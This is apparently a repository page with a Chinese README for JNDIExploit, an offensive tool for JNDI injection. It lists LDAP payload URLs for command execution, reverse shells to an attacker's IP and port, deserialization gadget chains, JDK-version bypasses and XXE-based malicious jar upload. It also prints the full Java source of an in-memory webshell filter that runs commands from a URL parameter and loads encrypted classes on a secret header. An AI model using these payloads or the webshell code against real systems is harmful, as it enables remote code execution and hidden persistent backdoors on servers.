# JNDIExploit **Repository Path**: bjmlw2021/JNDIExploit ## Basic Information - **Project Name**: JNDIExploit - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 4 - **Forks**: 0 - **Created**: 2021-03-29 - **Last Updated**: 2023-08-23 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # JNDIExploit 一款用于 ```JNDI注入``` 利用的工具，大量参考/引用了 ```Rogue JNDI``` 项目的代码，支持直接```植入内存shell```，并集成了常见的```bypass 高版本JDK```的方式，适用于与自动化工具配合使用。 ## 使用说明 使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明，其中 ```--ip``` 参数为必选参数 ``` Usage: java -jar JNDIExploit.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false) -h, --help Show this help ``` 使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式 ``` Supported LADP Queries * all words are case INSENSITIVE when send to ldap server [+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Basic/Dnslog/[domain] ldap://127.0.0.1:1389/Basic/Command/[cmd] ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Basic/TomcatEcho ldap://127.0.0.1:1389/Basic/SpringEcho ldap://127.0.0.1:1389/Basic/WeblogicEcho ldap://127.0.0.1:1389/Basic/TomcatMemshell ldap://127.0.0.1:1389/Basic/JettyMemshell ldap://127.0.0.1:1389/Basic/WeblogicMemshell ldap://127.0.0.1:1389/Basic/JBossMemshell ldap://127.0.0.1:1389/Basic/WebsphereMemshell ldap://127.0.0.1:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain] ldap://127.0.0.1:1389/Deserialization/CommonsCollections1/Dnslog/[domain] ldap://127.0.0.1:1389/Deserialization/CommonsCollections2/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell ---ALSO support other memshells [+] TomcatBypass Queries ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain] ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd] ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho ldap://127.0.0.1:1389/TomcatBypass/SpringEcho ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell [+] GroovyBypass Queries ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd] ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp ``` * 目前支持的所有 ```PayloadType``` 为 * ```Dnslog```: 用于产生一个```DNS```请求，与 ```DNSLog```平台配合使用，对```Linux/Windows```进行了简单的适配 * ```Command```: 用于执行命令，如果命令有特殊字符，支持对命令进行 ```Base64编码```后传输 * ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell，方便使用 * ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 * ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 * ```WeblogicEcho```: 用于在中间件为 ```Weblogic``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令 * ```TomcatMemshell```: 用于植入```Tomcat内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```SpringMemshell```: 用于植入```Spring内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```WeblogicMemshell```: 用于植入```Weblogic内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```JettyMemshell```: 用于植入```Jetty内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```JBossMemshell```: 用于植入```JBoss内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```WebsphereMemshell```: 用于植入```Websphere内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell``` * 目前支持的所有 ```GadgetType``` 为 * ```URLDNS``` * ```CommonsBeanutis1``` * ```CommonsBeanutis2``` * ```CommonsCollections1``` * ```CommonsCollections2``` * ```C3P0``` * ```Jdk7u21``` * ```Jre8u20``` * ```WebsphereBypass``` 中的 3 个动作： * ```list```：基于```XXE```查看目标服务器上的目录或文件内容 * ```upload```：基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录 * ```rce```：加载已上传至目标服务器临时目录的```jar包```，从而达到远程代码执行的效果（这一步本地未复现成功，抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常，有复现成功的小伙伴麻烦指导下） ## ```内存shell```说明 * 采用动态添加 ```Filter/Controller```的方式，并将添加的```Filter```移动至```FilterChain```的第一位 * ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目 * ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]``` * ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端（请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改），并在访问时需要添加 ```X-Options-Ai``` 头部，密码为```rebeyond``` 植入的 Filter 代码如下： ``` public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("[+] Dynamic Filter says hello"); String k; Cipher cipher; if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) { k = servletRequest.getParameter("pass"); if (k != null && !k.isEmpty()) { cipher = null; String[] cmds; if (File.separator.equals("/")) { cmds = new String[]{"/bin/sh", "-c", k}; } else { cmds = new String[]{"cmd", "/C", k}; } String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next(); servletResponse.getWriter().println(result); } } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) { try { if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) { k = "e45e329feb5d925b"; ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k); cipher = Cipher.getInstance("AES"); cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine())); Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader()); Object evilObject = evilClass.newInstance(); Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class); targetMethod.invoke(evilObject, servletRequest, servletResponse); } } catch (Exception var10) { var10.printStackTrace(); } } else { filterChain.doFilter(servletRequest, servletResponse); } } ``` ## 参考 * https://github.com/veracode-research/rogue-jndi * https://github.com/welk1n/JNDI-Injection-Exploit * https://github.com/welk1n/JNDI-Injection-Bypass